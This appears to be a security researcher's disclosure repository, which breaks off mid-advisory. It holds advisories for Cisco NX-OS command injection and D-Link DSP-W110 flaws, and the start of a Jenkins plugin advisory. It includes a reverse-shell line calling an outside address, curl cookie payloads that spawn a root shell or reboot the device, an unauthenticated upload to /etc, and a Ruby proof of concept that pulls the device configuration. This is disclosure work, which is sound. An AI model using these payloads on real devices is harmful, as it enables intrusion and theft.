├── .gitignore ├── README.md ├── Vulnerabilities ├── Cisco │ └── NX-OS │ │ ├── CVE-2011-2569.txt │ │ └── README.md ├── D-Link │ └── DSP-W110 │ │ ├── .gitignore │ │ ├── README.md │ │ ├── dsp-w110-lighttpd.rb │ │ ├── dsp-w110-lighttpd.txt │ │ └── images │ │ ├── mod_hnap_getHNAPCookie.png │ │ ├── mod_hnap_getQueryTime.png │ │ ├── request_getHNAPCookie.png │ │ ├── request_http_parse_request.png │ │ └── ruby_PoC.png ├── Miscellaneous │ ├── jenkins-ansible-tower-plugin │ │ └── README.md │ ├── jenkins-artifactory-plugin │ │ └── README.md │ ├── jenkins-gitlab-plugin │ │ └── README.md │ └── jenkins-swarm-plugin │ │ ├── Dockerfile │ │ ├── README.md │ │ └── exploit.py ├── Multivendor │ └── ncc2 │ │ ├── README.md │ │ ├── images │ │ ├── YT-Embed.png │ │ ├── dir-bin-true.png │ │ ├── jjhttpd-do_ccp-pdf.png │ │ ├── jjhttpd-dump-got.png │ │ ├── jjhttpd-got-merge.png │ │ ├── jjhttpd-ncc-socket-connect.png │ │ ├── jjhttpd-readelf.png │ │ ├── ncc2-destroy.png │ │ ├── ncc2-got-merge.png │ │ ├── ncc2-save-contents.png │ │ ├── ncc2-strings.png │ │ ├── ncc2-system.png │ │ └── ruby-r2-filter.png │ │ ├── ncc2.rb │ │ └── ncc2.txt └── NetGear │ └── SOAPWNDR │ ├── README.md │ ├── SOAPWNDR.rb │ ├── SOAPWNDR.txt │ └── images │ ├── ExecuteSoapAction-401.png │ ├── ExecuteSoapAction-ContentLength.png │ ├── ExecuteSoapAction-SOAPActions.png │ ├── PoC-Run.png │ ├── SendSoapRespCode-Top.png │ ├── net-cgi-gdb-bp1.png │ ├── net-cgi-gdb-bp2.png │ ├── net-cgi-gdb-bp3.png │ ├── net-cgi-gdb-bp4.png │ ├── net-cgi-readelf.png │ ├── uhttpd-auth-add.png │ ├── uhttpd-cgi.png │ ├── uhttpd-config-parse.png │ ├── uhttpd-main.png │ └── uhttpd-sh.png └── generate_quick.sh /.gitignore: -------------------------------------------------------------------------------- 1 | *~ 2 | DASM* 3 | BUILD* 4 | tmp 5 | 6 | .DS_Store 7 | .AppleDouble 8 | .LSOverride 9 | 10 | # Icon must end with two \r 11 | Icon 12 | 13 | 14 | # Thumbnails 15 | ._* 16 | 17 | # Files that might appear on external disk 18 | .Spotlight-V100 19 | .Trashes 20 | 21 | # Directories potentially created on remote AFP share 22 | .AppleDB 23 | .AppleDesktop 24 | Network Trash Folder 25 | Temporary Items 26 | .apdisk 27 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SecPub 2 | 3 | Published security vulnerabilities, research, write-ups, and associated 4 | information which I have worked on. Vulnerabilities have been broken down 5 | per vendor - where applicable. 6 | 7 | ## External 8 | 9 | ### Research 10 | 11 | * [Messing with SWD - Part I](http://www.kernelpicnic.net/2018/12/29/Messing-with-SWD-Part-I.html) 12 | * [Pivoting from blind SSRF to RCE with HashiCorp Consul](http://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html) 13 | * [Remote Code Execution (RCE) on Microsoft's 'signout.live.com'](http://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html) 14 | 15 | ### CTF 16 | 17 | * [BKP CTF - Wackusensor Write-Up](http://www.kernelpicnic.net/2017/02/26/BKPCTF-Wackusensor-Write-Up.html) 18 | * [BKP CTF - Good Morning (Wonderland)](http://www.kernelpicnic.net/2016/03/06/BKPCTF-Wonderland-Good-Morning-Write-Up.html) 19 | * [BKP CTF - Bug Bounty (Suffolk Downs)](http://www.kernelpicnic.net/2016/03/06/BKPCTF-Suffolk-Downs-Bug-Bounty-Write-Up.html) 20 | * [9447 CTF - Super Turbo Atomic GIF Converter](http://www.kernelpicnic.net/2015/11/29/9447CTF-Super-Turbo-Atomic-GIF-Converter-Write-Up.html) 21 | 22 | ## Vulnerabilities 23 | * [Jenkins Swarm Plugin - XXE (XML External Entities) via UDP broadcast](./Vulnerabilities/Miscellaneous/jenkins-swarm-plugin/README.md) 24 | * [Jenkins GitLab Plugin - Information disclosure vulnerability](./Vulnerabilities/Miscellaneous/jenkins-gitlab-plugin/README.md) 25 | * [Jenkins Artifactory Plugin - Information disclosure vulnerabilities](./Vulnerabilities/Miscellaneous/jenkins-artifactory-plugin/README.md) 26 | * [Jenkins Ansible Tower Plugin - Information disclosure vulnerability](./Vulnerabilities/Miscellaneous/jenkins-ansible-tower-plugin/README.md) 27 | * [NetGear WNDR Authentication Bypass / Information Disclosure](./Vulnerabilities/NetGear/SOAPWNDR/README.md) 28 | * [D-Link and TRENDnet 'ncc2' service - multiple vulnerabilities](./Vulnerabilities/Multivendor/ncc2/README.md) 29 | * [D-Link DSP-W110 - multiple vulnerabilities](./Vulnerabilities/D-Link/DSP-W110/README.md) 30 | * [Cisco Nexus OS (NX-OS) - Command "injection" / sanitization issues.](./Vulnerabilities/Cisco/NX-OS/README.md) 31 | -------------------------------------------------------------------------------- /Vulnerabilities/Cisco/NX-OS/CVE-2011-2569.txt: -------------------------------------------------------------------------------- 1 | >> Cisco Nexus OS (NX-OS) - Command "injection" / sanitization issues. 2 | 3 | Discovered by: 4 | ---- 5 | Peter Adkins 6 | 7 | Access: 8 | ---- 9 | Local; authenticated access is required. 10 | 11 | Tracking and identifiers: 12 | ---- 13 | CVE - CVE-2011-2569 14 | 15 | OS' Affected: 16 | ---- 17 | Cisco Nexus OS (NX-OS) 18 | 19 | Vendor involvement: 20 | ---- 21 | Alerted - patches available / implemented for some platforms. 22 | 23 | Systems / platforms affected: 24 | ---- 25 | Nexus 7000 26 | Nexus 5000 27 | Nexus 4000 28 | Nexus 3000 29 | Nexus 2000 30 | Nexus 1000V 31 | MDS 32 | UCS 33 | 34 | Notes: 35 | ---- 36 | Local access is required. However, unprivileged accounts can gain access 37 | to the underlying Linux operating system, effectively providing complete 38 | access to the device. This could potentially lead to issues in 39 | environments where NOC and other staff are permitted low-level access 40 | for first point of call, etc. 41 | 42 | ---- 43 | NX-OS - "section" sub-command - Command injection / sanitization issues. 44 | ---- 45 | 46 | This issue was found on the Nexus 7000 platform. It is believed to also 47 | affect the following platforms: 48 | 49 | * Nexus 7000 ( OS < 5.2(1.61)S0 5.2(1)S73 5.2(1)S72 ) 50 | * Nexus 5000 ( OS < UNK ) 51 | * Nexus 4000 ( OS < UNK ) 52 | * Nexus 3000 ( OS < UNK ) 53 | * Nexus 2000 ( OS < UNK ) 54 | * MDS ( OS < 5.2(1.61)S0 5.2(1)S73 5.2(1)S72 ) 55 | 56 | The section command appears to be an AWK script to which the requested 57 | string is passed. However, the input does not appear to be sanitized 58 | correctly. As a result, AWK can be used to execute arbitrary commands on 59 | the Linux subsystem. 60 | 61 | nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"id"\) \}/' > 20110713.awk 62 | Warning: There is already a file existing with this name. Do you want to 63 | overwrite (yes/no)? [no] y 64 | 65 | nx1# sh clock | sec '* -f /bootflash/20110713.awk ' 66 | uid=2003(user) gid=504(network-operator) 67 | 11:16:04.082 UTC Wed Jul 13 2011 68 | 69 | nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"ls \/mnt\/cfg\/0\/"\) \}/' 70 | > 20110713.awk 71 | 72 | nx1# sh clock | sec '* -f /bootflash/20110713.awk ' 73 | ascii 74 | bin 75 | boot 76 | cfglabel.sysmgr 77 | debug 78 | licenses 79 | linux 80 | log 81 | lost+found 82 | 11:18:41.885 UTC Wed Jul 13 2011 83 | 84 | This can even be used to remove all files on the bootflash and issue a 85 | 'reboot' command to the system. However, rebooting from the Linux 86 | subsystem causes the device to spew messages to the console and lock; 87 | rather than actually reloading the device. 88 | 89 | --- 90 | NX-OS - "less" sub-command - Command injection / sanitization issues. 91 | --- 92 | 93 | Believed to affect the following versions of software: 94 | 95 | Nexus 7000 ( OS < 5.1(1) ) 96 | Nexus 5000 ( OS < 4.2(1)N2(1) ) 97 | Nexus 4000 ( OS < UNK) 98 | Nexus 2000 ( OS < 4.2(1)N2(1) ) 99 | UCS* ( OS < 1.4(1i) 1.3(1c) ) 100 | Nexus 1000V ( OS < UNK ) 101 | MDS ( OS < 5.1(1) ) 102 | 103 | * On the UCS platform commands injected are executed as root. 104 | 105 | As an example: 106 | 107 | switch# sh clock | less 108 | 109 | Once less is presented we open files by pressing colon and then "e" and 110 | specifying the path to the file. 111 | 112 | bin:*:1:1:bin:/bin: 113 | daemon:*:2:2:daemon:/usr/sbin: 114 | sys:*:3:3:sys:/dev: 115 | ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash 116 | ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash 117 | nobody:*:65534:65534:nobody:/home:/bin/sh 118 | admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm 119 | 120 | However, this is just read-only access once again. BUT, if we use the 121 | "|" (pipe) and then "$" key macro, we can execute commands. 122 | 123 | !ls -lah > /bootflash/20110715 124 | 125 | As shown below, the file has been created on the boot-flash. 126 | 127 | switch# dir 128 | 97 Jul 15 12:01:44 2011 20110715 129 | 130 | Using this method, I have been able to establish a remote shell into the 131 | NX-OS Linux subsystem using the following: 132 | 133 | mknod rs p; telnet ad.dr.es.s 8888 0rs 134 | 135 | Even the reboot command is accepted as a valid input. However, rather 136 | than rebooting the device, it causes the system to lock while spewing 137 | errors to the console. 138 | 139 | switch# sh clock | less 140 | Fri Jul 15 12:06:30 UTC 2011 141 | !reboot 142 | 143 | Broadcast message from root (Fri Jul 15 12:06:39 2011): 144 | -------------------------------------------------------------------------------- /Vulnerabilities/Cisco/NX-OS/README.md: -------------------------------------------------------------------------------- 1 | ## Cisco Nexus OS (NX-OS) - Command "injection" / sanitization issues. 2 | 3 | ##### Discovered by: 4 | * Peter Adkins 5 | 6 | ##### Access: 7 | * Local; authenticated access is required. 8 | 9 | ##### Tracking and identifiers: 10 | * CVE - CVE-2011-2569 11 | 12 | ##### OS' Affected: 13 | * Cisco Nexus OS (NX-OS) 14 | 15 | ##### Vendor involvement: 16 | * Alerted - patches available / implemented for some platforms. 17 | 18 | ##### Systems / platforms affected: 19 | * Nexus 7000 20 | * Nexus 5000 21 | * Nexus 4000 22 | * Nexus 3000 23 | * Nexus 2000 24 | * Nexus 1000V 25 | * MDS 26 | * UCS 27 | 28 | ##### Notes: 29 | Local access is required. However, unprivileged accounts can gain access to the underlying Linux operating system, effectively providing complete access to the device. This could potentially lead to issues in environments where NOC and other staff are permitted low-level access for first point of call, etc. 30 | 31 | ### NX-OS - "section" sub-command - Command injection / sanitization issues. 32 | 33 | This issue was found on the Nexus 7000 platform. It is believed to also affect the following platforms: 34 | 35 | * Nexus 7000 ( OS < 5.2(1.61)S0 5.2(1)S73 5.2(1)S72 ) 36 | * Nexus 5000 ( OS < UNK ) 37 | * Nexus 4000 ( OS < UNK ) 38 | * Nexus 3000 ( OS < UNK ) 39 | * Nexus 2000 ( OS < UNK ) 40 | * MDS ( OS < 5.2(1.61)S0 5.2(1)S73 5.2(1)S72 ) 41 | 42 | The section command appears to be an AWK script to which the requested string is passed. However, the input does not appear to be sanitized correctly. As a result, AWK can be used to execute arbitrary commands on the Linux subsystem. 43 | 44 | ``` 45 | nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"id"\) \}/' > 20110713.awk 46 | Warning: There is already a file existing with this name. Do you want to 47 | overwrite (yes/no)? [no] y 48 | 49 | nx1# sh clock | sec '* -f /bootflash/20110713.awk ' 50 | uid=2003(user) gid=504(network-operator) 51 | 11:16:04.082 UTC Wed Jul 13 2011 52 | 53 | nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"ls \/mnt\/cfg\/0\/"\) \}/' > 20110713.awk 54 | 55 | nx1# sh clock | sec '* -f /bootflash/20110713.awk ' 56 | ascii 57 | bin 58 | boot 59 | cfglabel.sysmgr 60 | debug 61 | licenses 62 | linux 63 | log 64 | lost+found 65 | 11:18:41.885 UTC Wed Jul 13 2011 66 | ``` 67 | 68 | This can even be used to remove all files on the bootflash and issue a 'reboot' command to the system. However, rebooting from the Linux subsystem causes the device to spew messages to the console and lock; rather than actually reloading the device. 69 | 70 | ### NX-OS - "less" sub-command - Command injection / sanitization issues. 71 | 72 | Believed to affect the following versions of software: 73 | 74 | * Nexus 7000 ( OS < 5.1(1) ) 75 | * Nexus 5000 ( OS < 4.2(1)N2(1) ) 76 | * Nexus 4000 ( OS < UNK) 77 | * Nexus 2000 ( OS < 4.2(1)N2(1) ) 78 | * UCS ( OS < 1.4(1i) 1.3(1c) ) 79 | * On the UCS platform commands injected are executed as root. 80 | * Nexus 1000V ( OS < UNK ) 81 | * MDS ( OS < 5.1(1) ) 82 | 83 | As an example: 84 | 85 | ``` 86 | switch# sh clock | less 87 | ``` 88 | 89 | Once less is presented we open files by pressing colon and then "e" and specifying the path to the file. 90 | 91 | ``` 92 | bin:*:1:1:bin:/bin: 93 | daemon:*:2:2:daemon:/usr/sbin: 94 | sys:*:3:3:sys:/dev: 95 | ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash 96 | ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash 97 | nobody:*:65534:65534:nobody:/home:/bin/sh 98 | admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm 99 | ``` 100 | 101 | However, this is just read-only access once again. BUT, if we use the "|" (pipe) and then "$" key macro, we can execute commands. 102 | 103 | ``` 104 | !ls -lah > /bootflash/20110715 105 | ``` 106 | As shown below, the file has been created on the boot-flash. 107 | 108 | ``` 109 | switch# dir 110 | 97 Jul 15 12:01:44 2011 20110715 111 | ``` 112 | 113 | Using this method, I have been able to establish a remote shell into the NX-OS Linux subsystem using the following: 114 | 115 | ``` 116 | mknod rs p; telnet ad.dr.es.s 8888 0rs 117 | ``` 118 | 119 | Even the reboot command is accepted as a valid input. However, rather than rebooting the device, it causes the system to lock while spewing errors to the console. 120 | 121 | ``` 122 | switch# sh clock | less 123 | Fri Jul 15 12:06:30 UTC 2011 124 | !reboot 125 | 126 | Broadcast message from root (Fri Jul 15 12:06:39 2011): 127 | ``` -------------------------------------------------------------------------------- /Vulnerabilities/D-Link/DSP-W110/.gitignore: -------------------------------------------------------------------------------- 1 | config.sqlite 2 | -------------------------------------------------------------------------------- /Vulnerabilities/D-Link/DSP-W110/README.md: -------------------------------------------------------------------------------- 1 | ## D-Link DSP-W110 - multiple vulnerabilities 2 | 3 | ##### Discovered by: 4 | * Peter Adkins <peter.adkins@kernelpicnic.net> 5 | 6 | ##### Access: 7 | * Local network; unauthenticated access 8 | 9 | ##### Tracking and identifiers: 10 | * CVE - None allocated. 11 | 12 | ##### Platforms / Firmware confirmed affected: 13 | * D-Link DSP-W110 (Rev A) - v1.05b01 14 | 15 | ##### Notes: 16 | * There appears to be a number of references to both 'miiiCasa' as well as 'fitivision' throughout the firmware, which may indicate that these vulnerabilities could be present in other devices not listed in this document. 17 | 18 | ### Arbitrary command execution / SQL Injection 19 | 20 | Patches made to `lighttpd` by the vendor exposes the device to both SQL injection, and more interestingly, arbitrary code execution. This is due to the improper sanitization of data supplied by a client. 21 | 22 | As the `lighttpd` service provides endpoints to be accessed without authentication, it provides a vector for an attacker to execute arbitrary commands on the device as the root user via HTTP call without authentication credentials. 23 | 24 | The root cause of this issue is that the contents of an HTTP Cookie, with any name, is passed verbatim to a `sprintf()` call in order to form an SQL query used to validate existing client sessions. By simply performing an HTTP request against the device with a correctly formatted cookie set, arbitrary SQL can be executed against the internal SQLite database. 25 | 26 | Further to this issue, as this SQL query is passed to a `popen()` call in order to execute the query, arbitrary commands are also able to be run on the device as the root user. 27 | 28 | This said, due to the length of the allocated buffer, the value of the cookie cannot exceed 19 characters. However, as below, 19 characters is exactly enough to pop a shell on the device. 29 | 30 | ```bash 31 | # Reboot the device. 32 | curl \ 33 | --cookie "terribleness='\`reboot\`" \ 34 | 192.168.1.3 35 | 36 | # Spawn a root shell (telnet) 37 | curl \ 38 | --cookie "terribleness=\`telnetd -l/bin/sh\`" \ 39 | 192.168.1.3 40 | ``` 41 | 42 | ### Arbitrary file upload 43 | 44 | Patches made to `lighttpd` by the vendor exposes the device to arbitrary file upload attacks. 45 | 46 | Unfortunately, the only 'filtering' on this resources appears to be a `sprintf()` call which statically prefixes a submitted 'dev' argument with '/www'. However, if a HTTP request is performed without a 'dev' argument at all, the `sprintf()` call is never reached, and a fully-qualified path can be provided in the 'path' parameter - bypassing the upload path restriction. 47 | 48 | As a result of the above, this resource can be used to upload files to any location on the filesystem of devices running vulnerable firmware versions without authentication. 49 | 50 | ```bash 51 | # Upload arbitrary files to the device. 52 | echo 'Some String' > test.txt 53 | curl \ 54 | -X POST \ 55 | -i \ 56 | -F name=@test.txt \ 57 | --http1.0 \ 58 | '192.168.1.3/web_cgi.cgi?&request=UploadFile&path=/etc/' 59 | ``` 60 | 61 | ### Diagnostic Information 62 | 63 | Patches made to `lighttpd` by the vendor of this device allows an attacker to query the device, without authentication, for the following information: 64 | 65 | * Current WLAN SSIDs 66 | * Current WLAN channels 67 | * LAN and WAN MAC addressing 68 | * Current firmware version information 69 | * Hardware version information 70 | 71 | Although not sensitive information, it may allow for identification of devices running vulnerable firmware versions. 72 | 73 | ```bash 74 | # Information query. 75 | curl \ 76 | 192.168.1.3/mplist.txt 77 | ``` 78 | 79 | ### Analysis :: Arbitrary command injection 80 | 81 | There's really nothing much to say here, the reason this vulnerability exists is trivial. 82 | 83 | While processing the HTTP headers for an incoming request, the patched `lighttpd` copies any cookies found in the request into `hnap_cookie` inside of `request.c` (line 845). 84 | 85 | ![request-http_parse_request](./images/request_http_parse_request.png) 86 | 87 | These cookies are then processed inside of `mod_hnap.c` where the value is parsed out (line 30) of the string. 88 | 89 | ![mod_hnap-getHNAPCookie](./images/request_getHNAPCookie.png) 90 | 91 | This value is then munged into an SQL query via `sprintf()` (line 56), and thrown at `popen()` (line 64). 92 | 93 | ![mod_hnap-getQueryTime](./images/mod_hnap_getQueryTime.png) 94 | 95 | This is almost a text-book example of exactly how not to handle handle user input, especially considering that it is both an SQL query, AND a command passed to a root shell. In fact, this _IS_ a text-book example of how not to do things. 96 | 97 | As a result of this lack of sanitization, a root shell can be popped, and the configuration database snatched, all through a couple of HTTP calls. 98 | 99 | ![ruby-PoC](./images/ruby_PoC.png) -------------------------------------------------------------------------------- /Vulnerabilities/D-Link/DSP-W110/dsp-w110-lighttpd.rb: -------------------------------------------------------------------------------- 1 | # DSP-W110-Lighttpd PoC. 2 | 3 | require 'pp' 4 | require 'optparse' 5 | require 'restclient' 6 | 7 | # Set defaults and parse command line arguments 8 | options = {} 9 | 10 | options[:addr] = "192.168.0.60" 11 | options[:port] = 80 12 | 13 | OptionParser.new do |option| 14 | 15 | option.on("--address [ADDRESS]", "Destination hostname or IP") do |a| 16 | options[:addr] = a 17 | end 18 | 19 | option.on("--port [PORT]", "Destination TCP port") do |p| 20 | options[:port] = p 21 | end 22 | 23 | option.parse! 24 | 25 | end 26 | 27 | # Define which actions we will be using. 28 | actions = [ 29 | { 30 | :name => "Get device information", 31 | :call => "txt_parser", 32 | :path => "mplist.txt", 33 | }, 34 | { 35 | :name => "Snatch configuration", 36 | :call => "noop", 37 | :path => "HNAP1", 38 | :cookies => { :cookie => "`cp /etc/co* /www/`" } 39 | }, 40 | { 41 | :name => "Fetch configuration", 42 | :call => "conf_writer", 43 | :path => "config.sqlite", 44 | }, 45 | { 46 | :name => "Enable telnet (root)", 47 | :call => "noop", 48 | :path => "HNAP1", 49 | :cookies => { :cookie => "`telnetd -l/bin/sh`" } 50 | } 51 | ] 52 | 53 | def noop(val) 54 | return 55 | end 56 | 57 | def txt_parser(txt) 58 | txt.split(/\r?\n/).each do |line| 59 | puts " #{line}" 60 | end 61 | end 62 | 63 | def conf_writer(txt) 64 | begin 65 | f = File.open('./config.sqlite', 'wb') 66 | rescue => e 67 | puts "[!] Failed to open config.sqlite for writing #{e.message}" 68 | end 69 | f.write(txt) 70 | f.close 71 | puts "[*] Configuration fetched into 'config.sqlite'" 72 | end 73 | 74 | # Iterate over all actions and attempt to execute. 75 | url = "http://#{options[:addr]}:#{options[:port]}" 76 | 77 | puts "[!] Attempting to extract information from #{url}" 78 | 79 | actions.each do |action| 80 | 81 | # Fire the request and ensure a 200 OKAY. 82 | begin 83 | response = RestClient.get( 84 | "#{url}/#{action[:path]}", 85 | {:cookies => action[:cookies]} 86 | ) 87 | rescue 88 | puts "[!] Failed to query remote host." 89 | abort 90 | end 91 | 92 | if response.code != 200 93 | puts "[-] '#{action[:name]}' failed with response: #{response.code}" 94 | next 95 | end 96 | 97 | # Send to the processor. 98 | puts "[*] #{action[:name]} request succeeded." 99 | send(action[:call], response.body()) 100 | 101 | end 102 | -------------------------------------------------------------------------------- /Vulnerabilities/D-Link/DSP-W110/dsp-w110-lighttpd.txt: -------------------------------------------------------------------------------- 1 | >> D-Link DSP-W110 - multiple vulnerabilities 2 | 3 | ---- 4 | Discovered by: 5 | ---- 6 | Peter Adkins 7 | 8 | ---- 9 | Access: 10 | ---- 11 | Local network; unauthenticated access. 12 | 13 | ---- 14 | Tracking and identifiers: 15 | ---- 16 | CVE - None allocated. 17 | 18 | ---- 19 | Platforms / Firmware confirmed affected: 20 | ---- 21 | D-Link DSP-W110 (Rev A) - v1.05b01 22 | 23 | ---- 24 | Notes: 25 | ---- 26 | * There appears to be a number of references to both 'miiiCasa' as well as 27 | 'fitivision' throughout the firmware, which may indicate that these 28 | vulnerabilities could be present in other devices not listed in this 29 | document. 30 | 31 | * A copy of this document, as well as the proof of concept below and a 32 | more detailed write-up has been made available via GitHub: 33 | 34 | * https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110 35 | 36 | ---- 37 | Arbitrary command execution / SQL Injection 38 | ---- 39 | 40 | Patches made to lighttpd by the vendor exposes the device to both SQL 41 | injection, and more interestingly, arbitrary code execution. This is due to 42 | the improper sanitization of data supplied by a client. 43 | 44 | As the lighttpd service provides endpoints to be accessed without 45 | authentication, it provides a vector for an attacker to execute arbitrary 46 | commands on the device as the root user via HTTP call without authentication 47 | credentials. 48 | 49 | The root cause of this issue is that the contents of an HTTP Cookie, with 50 | any name, is passed verbatim to a sprintf() call in order to form an SQL 51 | query used to validate existing client sessions. By simply performing an 52 | HTTP request against the device with a correctly formatted cookie set, 53 | arbitrary SQL can be executed against the internal SQLite database. 54 | 55 | Further to this issue, as this SQL query is passed to a popen() call in 56 | order to execute the query, arbitrary commands are also able to be run on 57 | the device as the root user. 58 | 59 | This said, due to the length of the allocated buffer, the value of the 60 | cookie cannot exceed 19 characters. However, as below, 19 characters is 61 | exactly enough to pop a shell on the device. 62 | 63 | # Reboot the device. 64 | curl 192.168.1.3/ \ 65 | --cookie "terribleness='\`reboot\`" 66 | 67 | # Spawn a root shell (telnet) 68 | curl 192.168.1.3/ \ 69 | --cookie "terribleness=\`telnetd -l/bin/sh\`" 70 | 71 | ---- 72 | Arbitrary file upload 73 | ---- 74 | 75 | Patches made to lighttpd by the vendor exposes the device to arbitrary file 76 | upload attacks. 77 | 78 | Unfortunately, the only 'filtering' on this resources appears to be a 79 | sprintf() call which statically prefixes a submitted 'dev' argument with 80 | '/www'. However, if a HTTP request is performed without a 'dev' argument 81 | at all, the sprintf() call is never reached, and a fully-qualified path can 82 | be provided in the 'path' parameter - bypassing the upload path restriction. 83 | 84 | As a result of the above, this resource can be used to upload files to 85 | any location on the filesystem of devices running vulnerable firmware 86 | versions without authentication. 87 | 88 | # Upload arbitrary files to the device. 89 | echo 'Some String' > test.txt 90 | curl \ 91 | -X POST \ 92 | -i \ 93 | -F name=@test.txt \ 94 | --http1.0 \ 95 | '192.168.1.3/web_cgi.cgi?&request=UploadFile&path=/etc/' 96 | 97 | ---- 98 | Diagnostic Information 99 | ---- 100 | 101 | Patches made to lighttpd by the vendor of this device allows an attacker to 102 | query the device, without authentication, for the following information: 103 | 104 | * Current WLAN SSIDs 105 | * Current WLAN channels 106 | * LAN and WAN MAC addressing 107 | * Current firmware version information 108 | * Hardware version information 109 | 110 | Although not sensitive information, it may allow for identification of 111 | devices running vulnerable firmware versions. 112 | 113 | # Information query. 114 | curl \ 115 | 192.168.1.3/mplist.txt 116 | 117 | ---- 118 | Ruby PoC 119 | ---- 120 | 121 | # DSP-W110-Lighttpd PoC. 122 | 123 | require 'pp' 124 | require 'optparse' 125 | require 'restclient' 126 | 127 | # Set defaults and parse command line arguments 128 | options = {} 129 | 130 | options[:addr] = "192.168.0.60" 131 | options[:port] = 80 132 | 133 | OptionParser.new do |option| 134 | 135 | option.on("--address [ADDRESS]", "Destination hostname or IP") do |a| 136 | options[:addr] = a 137 | end 138 | 139 | option.on("--port [PORT]", "Destination TCP port") do |p| 140 | options[:port] = p 141 | end 142 | 143 | option.parse! 144 | 145 | end 146 | 147 | # Define which actions we will be using. 148 | actions = [ 149 | { 150 | :name => "Get device information", 151 | :call => "txt_parser", 152 | :path => "mplist.txt", 153 | }, 154 | { 155 | :name => "Snatch configuration", 156 | :call => "noop", 157 | :path => "HNAP1", 158 | :cookies => { :cookie => "`cp /etc/co* /www/`" } 159 | }, 160 | { 161 | :name => "Fetch configuration", 162 | :call => "conf_writer", 163 | :path => "config.sqlite", 164 | }, 165 | { 166 | :name => "Enable telnet (root)", 167 | :call => "noop", 168 | :path => "HNAP1", 169 | :cookies => { :cookie => "`telnetd -l/bin/sh`" } 170 | } 171 | ] 172 | 173 | def noop(val) 174 | return 175 | end 176 | 177 | def txt_parser(txt) 178 | txt.split(/\r?\n/).each do |line| 179 | puts " #{line}" 180 | end 181 | end 182 | 183 | def conf_writer(txt) 184 | begin 185 | f = File.open('./config.sqlite', 'wb') 186 | rescue => e 187 | puts "[!] Failed to open config.sqlite for writing #{e.message}" 188 | end 189 | f.write(txt) 190 | f.close 191 | puts "[*] Configuration fetched into 'config.sqlite'" 192 | end 193 | 194 | # Iterate over all actions and attempt to execute. 195 | url = "http://#{options[:addr]}:#{options[:port]}" 196 | 197 | puts "[!] Attempting to extract information from #{url}" 198 | 199 | actions.each do |action| 200 | 201 | # Fire the request and ensure a 200 OKAY. 202 | begin 203 | response = RestClient.get( 204 | "#{url}/#{action[:path]}", 205 | {:cookies => action[:cookies]} 206 | ) 207 | rescue 208 | puts "[!] Failed to query remote host." 209 | abort 210 | end 211 | 212 | if response.code != 200 213 | puts "[-] '#{action[:name]}' failed with response: #{response.code}" 214 | next 215 | end 216 | 217 | # Send to the processor. 218 | puts "[*] #{action[:name]} request succeeded." 219 | send(action[:call], response.body()) 220 | 221 | end 222 | -------------------------------------------------------------------------------- /Vulnerabilities/D-Link/DSP-W110/images/mod_hnap_getHNAPCookie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/D-Link/DSP-W110/images/mod_hnap_getHNAPCookie.png -------------------------------------------------------------------------------- /Vulnerabilities/D-Link/DSP-W110/images/mod_hnap_getQueryTime.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/D-Link/DSP-W110/images/mod_hnap_getQueryTime.png -------------------------------------------------------------------------------- /Vulnerabilities/D-Link/DSP-W110/images/request_getHNAPCookie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/D-Link/DSP-W110/images/request_getHNAPCookie.png -------------------------------------------------------------------------------- /Vulnerabilities/D-Link/DSP-W110/images/request_http_parse_request.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/D-Link/DSP-W110/images/request_http_parse_request.png -------------------------------------------------------------------------------- /Vulnerabilities/D-Link/DSP-W110/images/ruby_PoC.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/D-Link/DSP-W110/images/ruby_PoC.png -------------------------------------------------------------------------------- /Vulnerabilities/Miscellaneous/jenkins-ansible-tower-plugin/README.md: -------------------------------------------------------------------------------- 1 | ## Jenkins Ansible Tower Plugin - Information disclosure vulnerability 2 | 3 | ##### Discovered by: 4 | * Peter Adkins 5 | 6 | ##### Access: 7 | * Local network; authenticated access 8 | * Remote network; authenticated access (See notes) 9 | * Remote network; 'drive-by' via CSRF 10 | 11 | ##### Tracking and identifiers: 12 | * CVE - CVE-2019-10310 13 | 14 | ##### Versions Affected: 15 | * Jenkins Ansible Tower Plugin 0.9.1 16 | 17 | ##### Vendor involvement: 18 | * 2019-03-12 - Vendor Disclosure 19 | * 2019-04-30 - Vendor Patched 20 | * 2019-05-06 - Public Release 21 | 22 | ##### Notes: 23 | 1. This may be exploited by an anonymous user if unauthenticated access is enabled in Jenkins. 24 | 25 | 1. As this vulnerability is exploitable through HTTP GET request, this vulnerability may also be exploited via Cross Site Request Forgery (CSRF). 26 | 27 | 1. Originally published under [TALOS-2019-0786](https://talosintelligence.com/vulnerability_reports/TALOS-2019-0786). Mirrored here here for tracking purposes. 28 | 29 | ##### Overview: 30 | An exploitable information disclosure vulnerability exists in the `testTowerConnection` function of the Jenkins Ansible Tower Plugin 0.9.1. A specially crafted HTTP request from a user with Overall/Read permissions - such as an anonymous user, if enabled - can cause affected versions of this plugin to disclose credentials from the Jenkins credentials database to an attacker-controlled server. This vulnerability is also present in the 